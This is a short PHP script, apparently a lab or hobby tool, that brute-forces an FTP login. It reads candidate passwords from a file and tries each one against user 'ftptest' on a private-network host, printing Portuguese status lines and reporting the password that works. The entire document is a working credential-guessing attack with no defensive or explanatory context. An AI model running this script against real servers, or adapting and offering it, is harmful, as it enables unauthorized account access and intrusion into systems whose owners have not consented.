function ftpbruter() {

    $user = 'ftptest';
    $host = '192.168.0.102';
    $passlist = file_get_contents('passwords.txt');
    $port = 21;
    $timeout = 50;

    $passes = explode("\n", $passlist);
    $i = 1;
    foreach ($passes as $pass) {
        error_reporting(0);
        echo "[*] Testando " . $user . " && " . $pass . "\n";
        $con = ftp_connect($host, $port, $timeout);
        $login = ftp_login($con, $user, $pass);
        if (!$login) {
            ftp_close($con);
            $i++;
        } else {
            echo "Password encontrada\n";
            echo "User: " . $user . " Password: " . $pass . "\n";
            break;
        }
    }
}
ftpbruter();